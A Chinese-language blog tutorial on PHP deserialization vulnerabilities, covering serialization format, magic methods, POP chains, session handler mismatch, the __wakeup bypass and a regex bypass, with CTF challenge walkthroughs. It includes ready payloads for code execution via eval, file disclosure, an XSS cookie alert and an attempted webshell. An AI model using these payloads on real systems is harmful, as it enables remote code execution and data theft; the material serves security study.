最近又遇到php反序列化,就顺便来做个总结。

0x01 PHP序列化和反序列化

php序列化:php对象 序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了php对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。

php反序列化:php客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

简单来说,序列化就是把实体对象状态按照一定的格式写入到有序字节流,当要用到时就通过反序列化来从建对象,恢复对象状态,这样就可以很方便的存取数据和传输数据。

序列化例子:

<?php
class test{
public $name = 'lu';
private $name2 = 'lu';
protected $name3 = 'lu';
}
$test1 = new test();
$object = serialize($test1);
print_r($object); ?>

最后输出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}

注意:序列化对象时,不会保存常量的值。对于父类中的变量,则会保留

序列化只序列化属性,不序列化方法。

简单介绍下具体含义



但是我们注意到上面的例子序列化的结果有些不对。那是因为序列化public private protect参数会产生不同结果,test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串但是序列化输出的值不相同。

通过对网页抓取输出是这样的

`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"\00test\00name2";s:2:"lu";s:8:"*\00*\00name3";s:2:"lu";}

public的参数变成 name private的参数被反序列化后变成 \00name\00name2 protected的参数变成 \00*\00name3

反序列化试例:

?php
class lushun{
var $test = '123';
}
$class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
//我们在这里用 unserialize() 还原已经序列化的对象
$class2_un= unserialize($class2); //此时的 $class2_un 已经是前面的test类的实例了
print_r($class2_unser);
echo "</br>"; ?>



一般反序列化后必须要在当前作用域有对应的类(因为不会序列化方法),实例才能正确使用,所以再进行反序列化攻击的时候就是依托类属性进行,找到我们能控制的属性变量,在依托它的类方法进行攻击。将上面定义的lushun类删除之后。结果



提示不完整的类

0x02 PHP序列化漏洞是怎么产生的

要了解在序列化和反序列化之间的漏洞,我们先要了解PHP里面的魔术方法,魔术方法一般是以__开头,通常都设置了某些特定条件来触发。这里先提一下有个印象。

PHP的魔法函数

__wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

序列化本身没有问题,问题还是那个经典的老大难:用户输入,我们可以控制序列化和反序列化的参数,就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的,就必须对序列化和反序列化过程进行详尽的了解,利用或者绕过某些魔法函数。

来一个例子

<?php 

class test{

    public $target = 'this is a test';

    function __destruct(){

        echo $this->target;

    }

}

$a = $_GET['test'];

$c = unserialize($a);

?>

我们构造一个反序列化来修改$target的内容,就可以制造一个xss弹窗,既然我们可以控制$a的输入

<?php 

class test{

    public $target = '<script>alert(document.cookie);</script>';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

0x03 魔法函数的触发顺序

我们重点关注以下几个魔法函数

这里我们着重关注一下几个:

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • 析构函数__destruct():当对象被销毁时会自动调用。
  • __wakeup():如前所提,unserialize()时会自动调用。
  • __toString()当一个对象被当作一个字符串使用

    *__sleep()在对象在被序列化之前运行,用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。

    测试代码
<?php
class lushun{
public $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array('test');
}
function __toString(){
return "__toString"."</br>";
}
function __conStruct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
} $lushun_1 = new lushun();
$data = serialize($lushun_1);
$lushun_2 = unserialize($data);
print($lushun_2);
print($data."</br>");
?>

输出结果:



可以看到__destruct函数执行了两次,说明有两个对象被销毁,一个是实例化的对象,还有一个是反序列化后生成的对象。

0x04 魔法方法的攻击

先来看个例子

<?php
class One {
private $test;
function __construct() {
$this->test = new Bad();
} function __destruct() {
$this->test->action();
}
} class Bad {
function action() {
echo "1234";
}
} class Good { var $test2;
function action() {
eval($this->test2);
}
} unserialize($_GET['test']);

可以看到需要我们传入一个序列化后的字符串作为参数,然后看定义了三个类第一个One类里有两个魔法函数,一个构造函数一个析构函数,构造函数把One类的test属性变成Bad类的实例,析构函数就执行action()方法,但是到现在还是没发现什么有价值的东西,再往下看Good类里有eval函数,这个函数很危险能够执行php命令,知道了这些想想怎么能利用上,如果我们能将构造函数的test属性从Bad类转到Good类,再给Good类的test变量定义一个可以执行的值,是不是就可以用上了呢。看一下实现代码。

<?php
class One {
private $test;
function __construct() {
$this->test = new Good();
}
}
class Good {
var $test2="phpinfo();";
}
$A = new One;
print(serialize($A));



这里可能你也有个疑问,php序列化的时候是不会序列化方法的,但是这里序列化之后还是带着构造方法所引用的对象信息,我将构造方法删除之后,在执行了一次,是这样的。



发现构造函数还是影响了序列化的操作,这里着实困扰了我一阵,后来发现是我傻了,在序列化之前已经先new了一个对象构造函数已经先执行了,已经将test的属性改为Good类的对象了,所以序列化时自然会带上Good类。

接下来就可以用生成的序列化结果复制出来,像之前的代码发起请求

192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}

注意:test是private类型,记得加上%00xx%00,我们在传输过程中绝对不能忘掉.



这里我还尝试了一下把$test2的值换成一句话马



然后构造url用菜刀连接

http://192.168.0.103/13.php?test=O:3:"One":1:{s:9:"Onetest";O:4:"Good":1:{s:5:"test2";s:13:"($_POST[cmd])";}}

结果报错了



下次再研究一下为什么。

到了这里大致总结一下发现利用php反序列化漏洞的几个点。

(1)检查我们是否能控制unserialize()函数的参数。

(2)重点查看序列化对象里的魔法函数的作用,看看可控制的属性有没有能对其产生影响的。

(3)该类在执行序列化之前做了哪些动作,或者操作。

(4)最后选择好要控制的属性之后,将相关的类代码复制下来生成反序列结果。

0x05 反序列化漏洞例题

1.bugku平台 flag.php

http://123.206.87.240:8002/flagphp/?hint

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link rel="stylesheet" href="admin.css" type="text/css"></head><body><br><div class="container" align="center">  <form method="POST" action="#">    <p><input name="user" type="text" placeholder="Username"></p>    <p><input name="password" type="password" placeholder="Password"></p>    <p><input value="Login" type="button"/></p>  
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>

代码审计看到首先将请求头cooke值里ISecer的键值保存到$Cookie里,再判断$Key的值是否与反序列化后的$Cookie值相同,注意在这里$Key的数值是没有定义的,最后那个定义是在后面了没起作用。

所以我们只需要将cookie的值改为$Key序列化后的值就行。代码如下。

<?php
$key = "";
$aaa = serialize($key);
print ($aaa)
?>
输出:s:0:"";

再把cookie改为ISecer:s=0:"";即可,注意要是用浏览器插件修改cookie的话要把;改为%3B

2.反序列化绕过__wakeup

<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->

代码意思就是将提交的file参数base64解码后再反序列化,我们看到析构函数可以显示不同文件的源码,但是__wakeup函数已经锁定了file为index.php所以现在就是考虑绕过__wakeup函数,实际上是一个CVE漏洞,CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。网上已经有很多讲解了,我们只需要知道成员数目大于实际数目这个利用的点就行了

构造exp

<?php
class SoFun{
protected $file = 'flag.php';
}
$aa = new SoFun();
$aaa = serialize($aa);
file_put_contents('qq.txt',$aaa);
?>

O:5:"SoFun":1:{s:7:"/00*/00file";s:8:"flag.php";}有protected属性成员记得加上/00,再把1改为2或者更大的数,再base64编码一下就行了,但我在操作中发现如果括号里第一个s为小写,base64编码后不会显示flag.php源码.



诶这又是为什么,我思来想去,最后发现是protected属性的问题,我将源码的protected改为var后,无论s大写小写都可以正常显示flag.php源码,我再次试验后发现private属性也是一样的有这个问题。算是个坑吧刚好记录一下。

session反序列化

看看这个

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

PHP中的会话中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是会议的值序列化之后的内容。

session.serialize_handler是用来设置会话序列的化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的会话的存储方式不相同。

php session有三种序列化和反序列化处理器

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符+键名+经过的serialize()函数序列化处理的值
php 键名+竖线+经过的serialize()函数序列处理的值
php_serialize(php>5.5.4) 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的处理器');

session使用相同的序列化和反序列化处理器进行存储工作时是正常的,但如果php session序列化和反序列化时使用的处理器不同会导致无法正常反序列化,通过特殊的构造甚至可以伪造任意数据。

比如默认是php的handler,在该页面设置为php_serialize这是如果我们传入一个 '|O:5:"Class"';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化。

在默认的php处理器下储存为

<?php
session_start();
$_SESSION['sex'] = 'man';
储存的值为:
sex|s:3:"man";

在php_serialize处理器下:

注意:使用php_serialize php版本必须在5.5.4以上不然没有这个方法报错。

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['sex'] = 'man';
储存的值为:
a:1:{s:3:"sex";s:3:"man";}

实际利用

so.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["sex"]=$_GET["m"];

soo.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Sex{
var $hi;
function __construct(){
$this->hi = "system('whoami');";
} function __destruct() {
eval($this->hi);
}
}

在so.php构造

127.0.0.1/2016/so.php?a=Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}



然后访问soo.php



为什么会这样呢,因为开始访问so.php时,脚本会按照php_serialize处理器的方法序列化存储数据,会将Sex当做键名,a的参数当做键值当成一个数组序列化存储起来,变成这样

a:1:{s:3:"sex";s:45:"Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}";}然后访问soo.php时是用php处理器读取数据,会以|为分界线,前半部分作为键名后半部分作为值将后半部分反序列化,会得到Sec类。

反序列化绕过正则

一道简单ctf

<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>

unserialize 一眼就看到了是反序列化题目,一个__toString方法允许读取任意文件。

所以构造反序列化,但是还有个正则拦路虎

preg_match('/[oc]:\d+:/i',$data,$matches)筛掉了[oc]:数字:

所以如果正常构造序列化字符串

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}前面的O:4就被拦下,所以我们在4后面加上个+构造payload:

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

记得编码一下,不然+会变成空格

PHP序列化及反序列化分析学习小结的更多相关文章

  1. PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化)/约束类型/魔术方法小结

      前  言  OOP  学习了好久的PHP,今天来总结一下PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化). 1  PHP中的抽象 ...

  2. php中序列化与反序列化

    解析PHP多种序列化与反序列化的方法 序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更 ...

  3. 序列化、反序列化和transient关键字的作用

    引言 将 Java 对象序列化为二进制文件的 Java 序列化技术是 Java 系列技术中一个较为重要的技术点,在大部分情况下,开发人员只需要了解被序列化的类需要实现 Serializable 接口, ...

  4. 解析PHP多种序列化与反序列化的方法

    1. serialize和unserialize函数这两个是序列化和反序列化PHP中数据的常用函数. 复制代码 代码如下: <?php$a = array('a'=> 'Apple' ,' ...

  5. .net 序列化与反序列化

    1.序列化 反序列化 C#中如果需要:将一个结构很复杂的类的对象存储起来,或者通过网路传输到远程的客户端程序中去,这时就需要用到序列化,反序列化(Serialization & Deseria ...

  6. Json数据的序列化与反序列化的三种经常用法介绍

    下面内容是本作者从官网中看对应的教程后所做的demo.其体现了作者对相关知识点的个人理解..作者才疏学浅,难免会有理解不到位的地方.. 还请各位读者批判性对待... 本文主要介绍在Json数据的序列化 ...

  7. DRF框架(二)——解析模块(parsers)、异常模块(exception_handler)、响应模块(Response)、三大序列化组件介绍、Serializer组件(序列化与反序列化使用)

    解析模块 为什么要配置解析模块 1)drf给我们提供了多种解析数据包方式的解析类 form-data/urlencoded/json 2)我们可以通过配置来控制前台提交的哪些格式的数据后台在解析,哪些 ...

  8. json —— pickle 的序列化和反序列化

    前言json的序列化和反序列化 1, json 只能序列化简单的数据类型,如,列表,字典,字符串,等简单的类型,不能序列化复杂的类型. 2, json 是支持所有的语言的,多以我们跨语言的时候都是用j ...

  9. drf序列化及反序列化

    假如把drf看做一个汉堡包,我们之前讲的模块属于汉堡包前面的盖盖(请求模块.渲染模块)和底底(异常模块.解析模块.响应模块),但是真正中间的夹心没有讲,那么今天我就和大家来看一下汉堡包的夹心(序列化及 ...

随机推荐

  1. R|生存分析 - KM曲线 ,值得拥有姓名和颜值

    本文首发于“生信补给站”:https://mp.weixin.qq.com/s/lpkWwrLNtkLH8QA75X5STw 生存分析作为分析疾病/癌症预后的出镜频率超高的分析手段,而其结果展示的KM ...

  2. 外部配置属性值是如何被绑定到XxxProperties类属性上的?--SpringBoot源码(五)

    注:该源码分析对应SpringBoot版本为2.1.0.RELEASE 1 前言 本篇接 SpringBoot是如何实现自动配置的?--SpringBoot源码(四) 温故而知新,我们来简单回顾一下上 ...

  3. MyISAM 和 InnoDB

    1.MyISAM类型不支持事务处理等高级处理,而InnoDB类型支持.MyISAM类型的表强调的是性能,其执行数度比InnoDB类型更快,但是不提供事务支持,而InnoDB提供事务支持已经外部键等高级 ...

  4. R语言实战(三) 图形初阶

    3.1 使用图形 plot:基础绘图 abline:添加回归直线 hist:绘制直方图 boxplot:绘制箱线图 dev.new():returns the return value of the ...

  5. C语言程序设计(六) 循环控制结构

    第六章 循环控制结构 循环结构:需要重复执行的操作 被重复执行的语句序列称为循环体 计数控制的循环 条件控制的循环 当型循环结构 直到型循环结构 for while do-while while(循环 ...

  6. mongo请求超时

    no_cursor_timeout=True参数的使用 实例: import pymongo handler = pymongo.MongoClient().db.col with handler.f ...

  7. PDIUSBD12管脚简述

    PDIUSBD12管脚简述          PDIUSBD12管脚及简述 PDIUSBD12读写时序图 CS_N是片选信号,当片选信号位低电平时,下面的操作才有效.由于板子上将CS_N接地,所以它一 ...

  8. svn 追责神器 blame vscode - SVN Gutter

    svn 追责神器 blame vscode - SVN Gutter

  9. tableZen maxHeight 解决方案 如果数据条数小于N,不进行高度设置,超过N条,直接设置高度,解决原生iview Table 对于右侧固定列,不能计算出正确数值的解决方案

    tableZen maxHeight 解决方案 如果数据条数小于N,不进行高度设置,超过N条,直接设置高度,解决原生iview Table 对于右侧固定列,不能计算出正确数值的解决方案 if (thi ...

  10. 写了个python脚本,循环执行某一个目录下的jmeter脚本————解决的问题,每次回归时,都得一个个拉取

    import os import time #需要你改的就这3个参数 #path是放你jmx脚本的文件夹路径 path="D:\\桌面\\每次都是从共享上考最新的\\" #jtl_ ...